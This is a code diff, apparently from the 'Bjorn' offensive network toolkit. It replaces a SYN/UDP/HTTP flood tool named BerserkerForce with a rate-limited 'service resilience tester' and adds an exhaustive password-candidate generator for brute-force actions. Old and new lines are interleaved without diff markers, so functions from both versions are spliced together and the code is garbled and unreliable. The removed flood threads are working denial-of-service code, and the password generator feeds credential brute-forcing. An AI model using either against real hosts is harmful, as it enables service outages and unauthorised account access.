def _http_probe_time(ip: str, port: int, timeout_s: float = _HTTP_TIMEOUT_S) -> Optional[float]:
|
||||
"""Send an HTTP HEAD/GET and measure response time via urllib."""
|
||||
scheme = "https" if int(port) in {443, 8443, 9443} else "http"
|
||||
url = f"{scheme}://{ip}:{port}/"
|
||||
ctx = None
|
||||
if scheme == "https":
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
try:
|
||||
req = Request(url, method="HEAD", headers={"User-Agent": "BjornStress/2.0"})
|
||||
t0 = time.monotonic()
|
||||
resp = urlopen(req, timeout=timeout_s, context=ctx) if ctx else urlopen(req, timeout=timeout_s)
|
||||
elapsed = time.monotonic() - t0
|
||||
resp.close()
|
||||
return elapsed
|
||||
except Exception:
|
||||
# Fallback: even a refused connection or error page counts
|
||||
try:
|
||||
req2 = Request(url, method="GET", headers={"User-Agent": "BjornStress/2.0"})
|
||||
t0 = time.monotonic()
|
||||
resp2 = urlopen(req2, timeout=timeout_s, context=ctx) if ctx else urlopen(req2, timeout=timeout_s)
|
||||
elapsed = time.monotonic() - t0
|
||||
resp2.close()
|
||||
return elapsed
|
||||
except URLError:
|
||||
return None
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def _pick_probe_func(mode: str, port: int):
|
||||
"""Return the probe function appropriate for the requested mode + port."""
|
||||
if mode == "tcp":
|
||||
return _tcp_connect_time
|
||||
elif mode == "syn":
|
||||
return _syn_probe_time
|
||||
elif mode == "http":
|
||||
if int(port) in _WEB_PORTS:
|
||||
return _http_probe_time
|
||||
return _tcp_connect_time # non-web port falls back
|
||||
elif mode == "mixed":
|
||||
candidates = [_tcp_connect_time]
|
||||
if _HAS_SCAPY:
|
||||
candidates.append(_syn_probe_time)
|
||||
if int(port) in _WEB_PORTS:
|
||||
candidates.append(_http_probe_time)
|
||||
return random.choice(candidates)
|
||||
return _tcp_connect_time
|
||||
|
||||
|
||||
def _safe_mean(values: List[float]) -> float:
|
||||
return statistics.mean(values) if values else 0.0
|
||||
|
||||
|
||||
def _safe_stdev(values: List[float]) -> float:
|
||||
return statistics.stdev(values) if len(values) >= 2 else 0.0
|
||||
|
||||
|
||||
def _degradation_pct(baseline_mean: float, post_mean: float) -> float:
|
||||
"""Percentage increase from baseline to post-stress. Positive = slower."""
|
||||
if baseline_mean <= 0:
|
||||
return 0.0
|
||||
return round(((post_mean - baseline_mean) / baseline_mean) * 100.0, 2)
|
||||
|
||||
|
||||
# -------------------- Main class ----------------------------------------------
|
||||
|
||||
class BerserkerForce:
|
||||
def __init__(self, target, ports=None, mode='mixed', rate=100, output_dir=DEFAULT_OUTPUT_DIR):
|
||||
self.target = target
|
||||
self.ports = ports or DEFAULT_PORTS
|
||||
self.mode = mode
|
||||
self.rate = rate
|
||||
self.output_dir = output_dir
|
||||
|
||||
self.active = False
|
||||
self.lock = threading.Lock()
|
||||
self.packet_queue = queue.Queue()
|
||||
|
||||
self.stats = defaultdict(int)
|
||||
self.start_time = None
|
||||
self.target_resources = {}
|
||||
"""Service resilience tester -- orchestrator-compatible Bjorn action."""
|
||||
|
||||
def monitor_target(self):
|
||||
"""Monitor target's response times and availability."""
|
||||
while self.active:
|
||||
try:
|
||||
for port in self.ports:
|
||||
try:
|
||||
start_time = time.time()
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
||||
s.settimeout(1)
|
||||
result = s.connect_ex((self.target, port))
|
||||
response_time = time.time() - start_time
|
||||
|
||||
with self.lock:
|
||||
self.target_resources[port] = {
|
||||
'status': 'open' if result == 0 else 'closed',
|
||||
'response_time': response_time
|
||||
}
|
||||
except:
|
||||
with self.lock:
|
||||
self.target_resources[port] = {
|
||||
'status': 'error',
|
||||
'response_time': None
|
||||
}
|
||||
|
||||
time.sleep(1)
|
||||
except Exception as e:
|
||||
logging.error(f"Error monitoring target: {e}")
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
def syn_flood(self):
|
||||
"""Generate SYN flood packets."""
|
||||
while self.active:
|
||||
try:
|
||||
for port in self.ports:
|
||||
packet = IP(dst=self.target)/TCP(dport=port, flags="S",
|
||||
seq=random.randint(0, 65535))
|
||||
self.packet_queue.put(('syn', packet))
|
||||
with self.lock:
|
||||
self.stats['syn_packets'] += 1
|
||||
|
||||
time.sleep(1/self.rate)
|
||||
except Exception as e:
|
||||
logging.error(f"Error in SYN flood: {e}")
|
||||
# ------------------------------------------------------------------ #
|
||||
# Phase helpers #
|
||||
# ------------------------------------------------------------------ #
|
||||
|
||||
def udp_flood(self):
|
||||
"""Generate UDP flood packets."""
|
||||
while self.active:
|
||||
try:
|
||||
for port in self.ports:
|
||||
data = os.urandom(1024) # Random payload
|
||||
packet = IP(dst=self.target)/UDP(dport=port)/Raw(load=data)
|
||||
self.packet_queue.put(('udp', packet))
|
||||
with self.lock:
|
||||
self.stats['udp_packets'] += 1
|
||||
|
||||
time.sleep(1/self.rate)
|
||||
except Exception as e:
|
||||
logging.error(f"Error in UDP flood: {e}")
|
||||
def _resolve_ports(self, ip: str, port, row: Dict) -> List[int]:
|
||||
"""Gather target ports from the port argument, row data, or DB hosts table."""
|
||||
ports: List[int] = []
|
||||
|
||||
def http_flood(self):
|
||||
"""Generate HTTP flood requests."""
|
||||
while self.active:
|
||||
try:
|
||||
for port in [80, 443]:
|
||||
if port in self.ports:
|
||||
protocol = 'https' if port == 443 else 'http'
|
||||
url = f"{protocol}://{self.target}"
|
||||
|
||||
# Randomize request type
|
||||
request_type = random.choice(['get', 'post', 'head'])
|
||||
|
||||
try:
|
||||
if request_type == 'get':
|
||||
requests.get(url, timeout=1)
|
||||
elif request_type == 'post':
|
||||
requests.post(url, data=os.urandom(1024), timeout=1)
|
||||
else:
|
||||
requests.head(url, timeout=1)
|
||||
|
||||
with self.lock:
|
||||
self.stats['http_requests'] += 1
|
||||
|
||||
except:
|
||||
with self.lock:
|
||||
self.stats['http_errors'] += 1
|
||||
|
||||
time.sleep(1/self.rate)
|
||||
except Exception as e:
|
||||
logging.error(f"Error in HTTP flood: {e}")
|
||||
|
||||
def packet_sender(self):
|
||||
"""Send packets from the queue."""
|
||||
while self.active:
|
||||
try:
|
||||
if not self.packet_queue.empty():
|
||||
packet_type, packet = self.packet_queue.get()
|
||||
send(packet, verbose=False)
|
||||
|
||||
with self.lock:
|
||||
self.stats['packets_sent'] += 1
|
||||
|
||||
else:
|
||||
time.sleep(0.1)
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error sending packet: {e}")
|
||||
|
||||
def calculate_statistics(self):
|
||||
"""Calculate and update testing statistics."""
|
||||
duration = time.time() - self.start_time
|
||||
|
||||
stats = {
|
||||
'duration': duration,
|
||||
'packets_per_second': self.stats['packets_sent'] / duration,
|
||||
'total_packets': self.stats['packets_sent'],
|
||||
'syn_packets': self.stats['syn_packets'],
|
||||
'udp_packets': self.stats['udp_packets'],
|
||||
'http_requests': self.stats['http_requests'],
|
||||
'http_errors': self.stats['http_errors'],
|
||||
'target_resources': self.target_resources
|
||||
}
|
||||
|
||||
return stats
|
||||
|
||||
def save_results(self):
|
||||
"""Save test results and statistics."""
|
||||
# 1) Explicit port argument
|
||||
try:
|
||||
os.makedirs(self.output_dir, exist_ok=True)
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
|
||||
|
||||
results = {
|
||||
'timestamp': datetime.now().isoformat(),
|
||||
'configuration': {
|
||||
'target': self.target,
|
||||
'ports': self.ports,
|
||||
'mode': self.mode,
|
||||
'rate': self.rate
|
||||
p = int(port) if str(port).strip() else None
|
||||
if p:
|
||||
ports.append(p)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 2) Row data (Ports column, semicolon-separated)
|
||||
if not ports:
|
||||
ports_txt = str(row.get("Ports") or row.get("ports") or "")
|
||||
for tok in ports_txt.replace(",", ";").split(";"):
|
||||
tok = tok.strip().split("/")[0] # handle "80/tcp"
|
||||
if tok.isdigit():
|
||||
ports.append(int(tok))
|
||||
|
||||
# 3) DB lookup via MAC
|
||||
if not ports:
|
||||
mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip()
|
||||
if mac:
|
||||
try:
|
||||
rows = self.shared_data.db.query(
|
||||
"SELECT ports FROM hosts WHERE mac_address=? LIMIT 1", (mac,)
|
||||
)
|
||||
if rows and rows[0].get("ports"):
|
||||
for tok in rows[0]["ports"].replace(",", ";").split(";"):
|
||||
tok = tok.strip().split("/")[0]
|
||||
if tok.isdigit():
|
||||
ports.append(int(tok))
|
||||
except Exception as exc:
|
||||
logger.debug(f"DB port lookup failed: {exc}")
|
||||
|
||||
# De-duplicate, cap at 20 ports (Pi Zero guard)
|
||||
seen = set()
|
||||
unique: List[int] = []
|
||||
for p in ports:
|
||||
if p not in seen:
|
||||
seen.add(p)
|
||||
unique.append(p)
|
||||
return unique[:20]
|
||||
|
||||
def _measure_baseline(self, ip: str, ports: List[int], samples: int = _BASELINE_SAMPLES) -> Dict[int, List[float]]:
|
||||
"""Phase 1 / 3: TCP connect baseline measurement (always TCP for consistency)."""
|
||||
baselines: Dict[int, List[float]] = {}
|
||||
for p in ports:
|
||||
times: List[float] = []
|
||||
for _ in range(samples):
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
rt = _tcp_connect_time(ip, p)
|
||||
if rt is not None:
|
||||
times.append(rt)
|
||||
time.sleep(0.05) # gentle spacing
|
||||
baselines[p] = times
|
||||
return baselines
|
||||
|
||||
def _run_stress(
|
||||
self,
|
||||
ip: str,
|
||||
ports: List[int],
|
||||
mode: str,
|
||||
duration_s: int,
|
||||
rate: int,
|
||||
progress: ProgressTracker,
|
||||
stress_progress_start: int,
|
||||
stress_progress_span: int,
|
||||
) -> Dict[int, Dict[str, Any]]:
|
||||
"""Phase 2: Controlled stress test with rate limiting."""
|
||||
rate = max(1, min(rate, _MAX_RATE))
|
||||
interval = 1.0 / rate
|
||||
deadline = time.monotonic() + duration_s
|
||||
|
||||
# Per-port accumulators
|
||||
results: Dict[int, Dict[str, Any]] = {}
|
||||
for p in ports:
|
||||
results[p] = {"sent": 0, "success": 0, "fail": 0, "times": []}
|
||||
|
||||
total_probes_est = rate * duration_s
|
||||
probes_done = 0
|
||||
port_idx = 0
|
||||
|
||||
while time.monotonic() < deadline:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
|
||||
p = ports[port_idx % len(ports)]
|
||||
port_idx += 1
|
||||
|
||||
probe_fn = _pick_probe_func(mode, p)
|
||||
rt = probe_fn(ip, p)
|
||||
results[p]["sent"] += 1
|
||||
if rt is not None:
|
||||
results[p]["success"] += 1
|
||||
results[p]["times"].append(rt)
|
||||
else:
|
||||
results[p]["fail"] += 1
|
||||
|
||||
probes_done += 1
|
||||
|
||||
# Update progress (map probes_done onto the stress progress range)
|
||||
if total_probes_est > 0:
|
||||
frac = min(1.0, probes_done / total_probes_est)
|
||||
pct = stress_progress_start + int(frac * stress_progress_span)
|
||||
self.shared_data.bjorn_progress = f"{min(pct, stress_progress_start + stress_progress_span)}%"
|
||||
|
||||
# Rate limit
|
||||
time.sleep(interval)
|
||||
|
||||
return results
|
||||
|
||||
def _analyze(
|
||||
self,
|
||||
pre_baseline: Dict[int, List[float]],
|
||||
post_baseline: Dict[int, List[float]],
|
||||
stress_results: Dict[int, Dict[str, Any]],
|
||||
ports: List[int],
|
||||
) -> Dict[str, Any]:
|
||||
"""Phase 4: Build the analysis report dict."""
|
||||
per_port: List[Dict[str, Any]] = []
|
||||
for p in ports:
|
||||
pre = pre_baseline.get(p, [])
|
||||
post = post_baseline.get(p, [])
|
||||
sr = stress_results.get(p, {"sent": 0, "success": 0, "fail": 0, "times": []})
|
||||
|
||||
pre_mean = _safe_mean(pre)
|
||||
post_mean = _safe_mean(post)
|
||||
degradation = _degradation_pct(pre_mean, post_mean)
|
||||
|
||||
per_port.append({
|
||||
"port": p,
|
||||
"pre_baseline": {
|
||||
"samples": len(pre),
|
||||
"mean_s": round(pre_mean, 6),
|
||||
"stdev_s": round(_safe_stdev(pre), 6),
|
||||
"values_s": [round(v, 6) for v in pre],
|
||||
},
|
||||
'statistics': self.calculate_statistics()
|
||||
}
|
||||
|
||||
output_file = os.path.join(self.output_dir, f"stress_test_{timestamp}.json")
|
||||
with open(output_file, 'w') as f:
|
||||
json.dump(results, f, indent=4)
|
||||
|
||||
logging.info(f"Results saved to {output_file}")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save results: {e}")
|
||||
"stress": {
|
||||
"probes_sent": sr["sent"],
|
||||
"probes_ok": sr["success"],
|
||||
"probes_fail": sr["fail"],
|
||||
"mean_rt_s": round(_safe_mean(sr["times"]), 6),
|
||||
"stdev_rt_s": round(_safe_stdev(sr["times"]), 6),
|
||||
"min_rt_s": round(min(sr["times"]), 6) if sr["times"] else None,
|
||||
"max_rt_s": round(max(sr["times"]), 6) if sr["times"] else None,
|
||||
},
|
||||
"post_baseline": {
|
||||
"samples": len(post),
|
||||
"mean_s": round(post_mean, 6),
|
||||
"stdev_s": round(_safe_stdev(post), 6),
|
||||
"values_s": [round(v, 6) for v in post],
|
||||
},
|
||||
"degradation_pct": degradation,
|
||||
})
|
||||
|
||||
def start(self):
|
||||
"""Start stress testing."""
|
||||
self.active = True
|
||||
self.start_time = time.time()
|
||||
|
||||
threads = []
|
||||
|
||||
# Start monitoring thread
|
||||
monitor_thread = threading.Thread(target=self.monitor_target)
|
||||
monitor_thread.start()
|
||||
threads.append(monitor_thread)
|
||||
|
||||
# Start sender thread
|
||||
sender_thread = threading.Thread(target=self.packet_sender)
|
||||
sender_thread.start()
|
||||
threads.append(sender_thread)
|
||||
|
||||
# Start attack threads based on mode
|
||||
if self.mode in ['syn', 'mixed']:
|
||||
syn_thread = threading.Thread(target=self.syn_flood)
|
||||
syn_thread.start()
|
||||
threads.append(syn_thread)
|
||||
|
||||
if self.mode in ['udp', 'mixed']:
|
||||
udp_thread = threading.Thread(target=self.udp_flood)
|
||||
udp_thread.start()
|
||||
threads.append(udp_thread)
|
||||
|
||||
if self.mode in ['http', 'mixed']:
|
||||
http_thread = threading.Thread(target=self.http_flood)
|
||||
http_thread.start()
|
||||
threads.append(http_thread)
|
||||
|
||||
return threads
|
||||
# Overall summary
|
||||
total_sent = sum(sr.get("sent", 0) for sr in stress_results.values())
|
||||
total_ok = sum(sr.get("success", 0) for sr in stress_results.values())
|
||||
total_fail = sum(sr.get("fail", 0) for sr in stress_results.values())
|
||||
avg_degradation = (
|
||||
round(statistics.mean([pp["degradation_pct"] for pp in per_port]), 2)
|
||||
if per_port else 0.0
|
||||
)
|
||||
|
||||
def stop(self):
|
||||
"""Stop stress testing."""
|
||||
self.active = False
|
||||
self.save_results()
|
||||
|
||||
def save_settings(target, ports, mode, rate, output_dir):
|
||||
"""Save settings to JSON file."""
|
||||
try:
|
||||
os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True)
|
||||
settings = {
|
||||
"target": target,
|
||||
"ports": ports,
|
||||
"mode": mode,
|
||||
"rate": rate,
|
||||
"output_dir": output_dir
|
||||
return {
|
||||
"summary": {
|
||||
"ports_tested": len(ports),
|
||||
"total_probes_sent": total_sent,
|
||||
"total_probes_ok": total_ok,
|
||||
"total_probes_fail": total_fail,
|
||||
"avg_degradation_pct": avg_degradation,
|
||||
},
|
||||
"per_port": per_port,
|
||||
}
|
||||
with open(SETTINGS_FILE, 'w') as f:
|
||||
json.dump(settings, f)
|
||||
logging.info(f"Settings saved to {SETTINGS_FILE}")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save settings: {e}")
|
||||
|
||||
def load_settings():
|
||||
"""Load settings from JSON file."""
|
||||
if os.path.exists(SETTINGS_FILE):
|
||||
def _save_report(self, ip: str, mode: str, duration_s: int, rate: int, analysis: Dict) -> str:
|
||||
"""Write the JSON report and return the file path."""
|
||||
try:
|
||||
with open(SETTINGS_FILE, 'r') as f:
|
||||
return json.load(f)
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to load settings: {e}")
|
||||
return {}
|
||||
os.makedirs(OUTPUT_DIR, exist_ok=True)
|
||||
except Exception as exc:
|
||||
logger.warning(f"Could not create output dir {OUTPUT_DIR}: {exc}")
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Resource exhaustion testing tool")
|
||||
parser.add_argument("-t", "--target", help="Target IP or hostname")
|
||||
parser.add_argument("-p", "--ports", help="Ports to test (comma-separated)")
|
||||
parser.add_argument("-m", "--mode", choices=['syn', 'udp', 'http', 'mixed'],
|
||||
default='mixed', help="Test mode")
|
||||
parser.add_argument("-r", "--rate", type=int, default=100, help="Packets per second")
|
||||
parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory")
|
||||
ts = datetime.now(timezone.utc).strftime("%Y-%m-%d_%H-%M-%S")
|
||||
safe_ip = ip.replace(":", "_").replace(".", "_")
|
||||
filename = f"{safe_ip}_{ts}.json"
|
||||
filepath = os.path.join(OUTPUT_DIR, filename)
|
||||
|
||||
report = {
|
||||
"tool": "berserker_force",
|
||||
"version": b_version,
|
||||
"timestamp": datetime.now(timezone.utc).isoformat().replace("+00:00", "Z"),
|
||||
"target": ip,
|
||||
"config": {
|
||||
"mode": mode,
|
||||
"duration_s": duration_s,
|
||||
"rate_per_s": rate,
|
||||
"scapy_available": _HAS_SCAPY,
|
||||
},
|
||||
"analysis": analysis,
|
||||
}
|
||||
|
||||
try:
|
||||
with open(filepath, "w") as fh:
|
||||
json.dump(report, fh, indent=2, default=str)
|
||||
logger.info(f"Report saved to {filepath}")
|
||||
except Exception as exc:
|
||||
logger.error(f"Failed to write report {filepath}: {exc}")
|
||||
|
||||
return filepath
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# Orchestrator entry point #
|
||||
# ------------------------------------------------------------------ #
|
||||
|
||||
def execute(self, ip: str, port, row: Dict, status_key: str) -> str:
|
||||
"""
|
||||
Main entry point called by the Bjorn orchestrator.
|
||||
|
||||
Returns 'success', 'failed', or 'interrupted'.
|
||||
"""
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
# --- Identity cache from row -----------------------------------------
|
||||
mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip()
|
||||
hostname = (row.get("Hostname") or row.get("hostname") or "").strip()
|
||||
if ";" in hostname:
|
||||
hostname = hostname.split(";", 1)[0].strip()
|
||||
|
||||
# --- Resolve target ports --------------------------------------------
|
||||
ports = self._resolve_ports(ip, port, row)
|
||||
if not ports:
|
||||
logger.warning(f"BerserkerForce: no ports resolved for {ip}")
|
||||
return "failed"
|
||||
|
||||
# --- Read runtime config from shared_data ----------------------------
|
||||
mode = str(getattr(self.shared_data, "berserker_mode", "tcp") or "tcp").lower()
|
||||
if mode not in ("tcp", "syn", "http", "mixed"):
|
||||
mode = "tcp"
|
||||
duration_s = max(10, min(int(getattr(self.shared_data, "berserker_duration", 30) or 30), 120))
|
||||
rate = max(1, min(int(getattr(self.shared_data, "berserker_rate", 20) or 20), _MAX_RATE))
|
||||
|
||||
# --- EPD / UI updates ------------------------------------------------
|
||||
self.shared_data.bjorn_orch_status = "berserker_force"
|
||||
self.shared_data.bjorn_status_text2 = f"{ip} ({len(ports)} ports)"
|
||||
self.shared_data.comment_params = {"ip": ip, "ports": str(len(ports)), "mode": mode}
|
||||
|
||||
# Total units for progress: baseline(15) + stress(70) + post-baseline(10) + analysis(5)
|
||||
self.shared_data.bjorn_progress = "0%"
|
||||
|
||||
try:
|
||||
# ============================================================== #
|
||||
# Phase 1: Pre-stress baseline (0 - 15%) #
|
||||
# ============================================================== #
|
||||
logger.info(f"Phase 1/4: pre-stress baseline for {ip} on {len(ports)} ports")
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "baseline"}
|
||||
self.shared_data.log_milestone(b_class, "BaselineStart", f"Measuring {len(ports)} ports")
|
||||
|
||||
pre_baseline = self._measure_baseline(ip, ports)
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
self.shared_data.bjorn_progress = "15%"
|
||||
|
||||
# ============================================================== #
|
||||
# Phase 2: Stress test (15 - 85%) #
|
||||
# ============================================================== #
|
||||
logger.info(f"Phase 2/4: stress test ({mode}, {duration_s}s, {rate} req/s)")
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"phase": "stress",
|
||||
"mode": mode,
|
||||
"rate": str(rate),
|
||||
}
|
||||
self.shared_data.log_milestone(b_class, "StressActive", f"Mode: {mode} | Duration: {duration_s}s")
|
||||
|
||||
# Build a dummy ProgressTracker just for internal bookkeeping;
|
||||
# we do fine-grained progress updates ourselves.
|
||||
progress = ProgressTracker(self.shared_data, 100)
|
||||
|
||||
stress_results = self._run_stress(
|
||||
ip=ip,
|
||||
ports=ports,
|
||||
mode=mode,
|
||||
duration_s=duration_s,
|
||||
rate=rate,
|
||||
progress=progress,
|
||||
stress_progress_start=15,
|
||||
stress_progress_span=70,
|
||||
)
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
self.shared_data.bjorn_progress = "85%"
|
||||
|
||||
# ============================================================== #
|
||||
# Phase 3: Post-stress baseline (85 - 95%) #
|
||||
# ============================================================== #
|
||||
logger.info(f"Phase 3/4: post-stress baseline for {ip}")
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "post-baseline"}
|
||||
self.shared_data.log_milestone(b_class, "RecoveryMeasure", f"Checking {ip} after stress")
|
||||
|
||||
post_baseline = self._measure_baseline(ip, ports)
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
self.shared_data.bjorn_progress = "95%"
|
||||
|
||||
# ============================================================== #
|
||||
# Phase 4: Analysis & report (95 - 100%) #
|
||||
# ============================================================== #
|
||||
logger.info("Phase 4/4: analyzing results")
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "analysis"}
|
||||
|
||||
analysis = self._analyze(pre_baseline, post_baseline, stress_results, ports)
|
||||
report_path = self._save_report(ip, mode, duration_s, rate, analysis)
|
||||
|
||||
self.shared_data.bjorn_progress = "100%"
|
||||
|
||||
# Final UI update
|
||||
avg_deg = analysis.get("summary", {}).get("avg_degradation_pct", 0.0)
|
||||
self.shared_data.log_milestone(b_class, "Complete", f"Avg Degradation: {avg_deg}% | Report: {os.path.basename(report_path)}")
|
||||
return "success"
|
||||
|
||||
except Exception as exc:
|
||||
logger.error(f"BerserkerForce failed for {ip}: {exc}", exc_info=True)
|
||||
return "failed"
|
||||
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
self.shared_data.bjorn_status_text2 = ""
|
||||
|
||||
|
||||
# -------------------- Optional CLI (debug / manual) ---------------------------
|
||||
if __name__ == "__main__":
|
||||
import argparse
|
||||
from shared import SharedData
|
||||
|
||||
parser = argparse.ArgumentParser(description="BerserkerForce (service resilience tester)")
|
||||
parser.add_argument("--ip", required=True, help="Target IP address")
|
||||
parser.add_argument("--port", default="", help="Specific port (optional; uses row/DB otherwise)")
|
||||
parser.add_argument("--mode", default="tcp", choices=["tcp", "syn", "http", "mixed"])
|
||||
parser.add_argument("--duration", type=int, default=30, help="Stress duration in seconds")
|
||||
parser.add_argument("--rate", type=int, default=20, help="Probes per second (max 50)")
|
||||
args = parser.parse_args()
|
||||
|
||||
settings = load_settings()
|
||||
target = args.target or settings.get("target")
|
||||
ports = [int(p) for p in args.ports.split(',')] if args.ports else settings.get("ports", DEFAULT_PORTS)
|
||||
mode = args.mode or settings.get("mode")
|
||||
rate = args.rate or settings.get("rate")
|
||||
output_dir = args.output or settings.get("output_dir")
|
||||
sd = SharedData()
|
||||
# Push CLI args into shared_data so the action reads them
|
||||
sd.berserker_mode = args.mode
|
||||
sd.berserker_duration = args.duration
|
||||
sd.berserker_rate = args.rate
|
||||
|
||||
if not target:
|
||||
logging.error("Target is required. Use -t or save it in settings")
|
||||
return
|
||||
act = BerserkerForce(sd)
|
||||
|
||||
save_settings(target, ports, mode, rate, output_dir)
|
||||
row = {
|
||||
"MAC Address": getattr(sd, "get_raspberry_mac", lambda: "__GLOBAL__")() or "__GLOBAL__",
|
||||
"Hostname": "",
|
||||
"Ports": args.port,
|
||||
}
|
||||
|
||||
berserker = BerserkerForce(
|
||||
target=target,
|
||||
ports=ports,
|
||||
mode=mode,
|
||||
rate=rate,
|
||||
output_dir=output_dir
|
||||
)
|
||||
|
||||
try:
|
||||
threads = berserker.start()
|
||||
logging.info(f"Stress testing started against {target}")
|
||||
|
||||
while True:
|
||||
time.sleep(1)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
logging.info("Stopping stress test...")
|
||||
berserker.stop()
|
||||
for thread in threads:
|
||||
thread.join()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
result = act.execute(args.ip, args.port, row, "berserker_force")
|
||||
print(f"Result: {result}")
|
||||
|
||||
114
actions/bruteforce_common.py
Normal file
@@ -0,0 +1,114 @@
|
||||
import itertools
|
||||
import threading
|
||||
import time
|
||||
from typing import Iterable, List, Sequence
|
||||
|
||||
|
||||
def _unique_keep_order(items: Iterable[str]) -> List[str]:
|
||||
seen = set()
|
||||
out: List[str] = []
|
||||
for raw in items:
|
||||
s = str(raw or "")
|
||||
if s in seen:
|
||||
continue
|
||||
seen.add(s)
|
||||
out.append(s)
|
||||
return out
|
||||
|
||||
|
||||
def build_exhaustive_passwords(shared_data, existing_passwords: Sequence[str]) -> List[str]:
|
||||
"""
|
||||
Build optional exhaustive password candidates from runtime config.
|
||||
Returns a bounded list (max_candidates) to stay Pi Zero friendly.
|
||||
"""
|
||||
if not bool(getattr(shared_data, "bruteforce_exhaustive_enabled", False)):
|
||||
return []
|
||||
|
||||
min_len = int(getattr(shared_data, "bruteforce_exhaustive_min_length", 1))
|
||||
max_len = int(getattr(shared_data, "bruteforce_exhaustive_max_length", 4))
|
||||
max_candidates = int(getattr(shared_data, "bruteforce_exhaustive_max_candidates", 2000))
|
||||
require_mix = bool(getattr(shared_data, "bruteforce_exhaustive_require_mix", False))
|
||||
|
||||
min_len = max(1, min_len)
|
||||
max_len = max(min_len, min(max_len, 8))
|
||||
max_candidates = max(0, min(max_candidates, 200000))
|
||||
if max_candidates == 0:
|
||||
return []
|
||||
|
||||
use_lower = bool(getattr(shared_data, "bruteforce_exhaustive_lowercase", True))
|
||||
use_upper = bool(getattr(shared_data, "bruteforce_exhaustive_uppercase", True))
|
||||
use_digits = bool(getattr(shared_data, "bruteforce_exhaustive_digits", True))
|
||||
use_symbols = bool(getattr(shared_data, "bruteforce_exhaustive_symbols", False))
|
||||
symbols = str(getattr(shared_data, "bruteforce_exhaustive_symbols_chars", "!@#$%^&*"))
|
||||
|
||||
groups: List[str] = []
|
||||
if use_lower:
|
||||
groups.append("abcdefghijklmnopqrstuvwxyz")
|
||||
if use_upper:
|
||||
groups.append("ABCDEFGHIJKLMNOPQRSTUVWXYZ")
|
||||
if use_digits:
|
||||
groups.append("0123456789")
|
||||
if use_symbols and symbols:
|
||||
groups.append(symbols)
|
||||
|
||||
if not groups:
|
||||
return []
|
||||
|
||||
charset = "".join(groups)
|
||||
existing = set(str(x) for x in (existing_passwords or []))
|
||||
generated: List[str] = []
|
||||
|
||||
for ln in range(min_len, max_len + 1):
|
||||
for tup in itertools.product(charset, repeat=ln):
|
||||
pwd = "".join(tup)
|
||||
if pwd in existing:
|
||||
continue
|
||||
if require_mix and len(groups) > 1:
|
||||
if not all(any(ch in grp for ch in pwd) for grp in groups):
|
||||
continue
|
||||
generated.append(pwd)
|
||||
if len(generated) >= max_candidates:
|
||||
return generated
|
||||
return generated
|
||||
|
||||
|
||||
class ProgressTracker:
|
||||
"""
|
||||
Thread-safe progress helper for bruteforce actions.
|
||||
"""
|
||||
|
||||
def __init__(self, shared_data, total_attempts: int):
|
||||
self.shared_data = shared_data
|
||||
self.total = max(1, int(total_attempts))
|
||||
self.attempted = 0
|
||||
self._lock = threading.Lock()
|
||||
self._last_emit = 0.0
|
||||
self.shared_data.bjorn_progress = "0%"
|
||||
|
||||
def advance(self, step: int = 1):
|
||||
now = time.time()
|
||||
with self._lock:
|
||||
self.attempted += max(1, int(step))
|
||||
attempted = self.attempted
|
||||
total = self.total
|
||||
if now - self._last_emit < 0.2 and attempted < total:
|
||||
return
|
||||
self._last_emit = now
|
||||
pct = min(100, int((attempted * 100) / total))
|
||||
self.shared_data.bjorn_progress = f"{pct}%"
|
||||
|
||||
def set_complete(self):
|
||||
self.shared_data.bjorn_progress = "100%"
|
||||
|
||||
def clear(self):
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
|
||||
def merged_password_plan(shared_data, dictionary_passwords: Sequence[str]) -> tuple[list[str], list[str]]:
|
||||
"""
|
||||
Returns (dictionary_passwords, fallback_passwords) with uniqueness preserved.
|
||||
Fallback list is empty unless exhaustive mode is enabled.
|
||||
"""
|
||||
dictionary = _unique_keep_order(dictionary_passwords or [])
|
||||
fallback = build_exhaustive_passwords(shared_data, dictionary)
|
||||
return dictionary, _unique_keep_order(fallback)
|
||||
@@ -1,175 +1,837 @@
|
||||
# DNS Pillager for reconnaissance and enumeration of DNS infrastructure.
|
||||
# Saves settings in `/home/bjorn/.settings_bjorn/dns_pillager_settings.json`.
|
||||
# Automatically loads saved settings if arguments are not provided.
|
||||
# -d, --domain Target domain for enumeration (overrides saved value).
|
||||
# -w, --wordlist Path to subdomain wordlist (default: built-in list).
|
||||
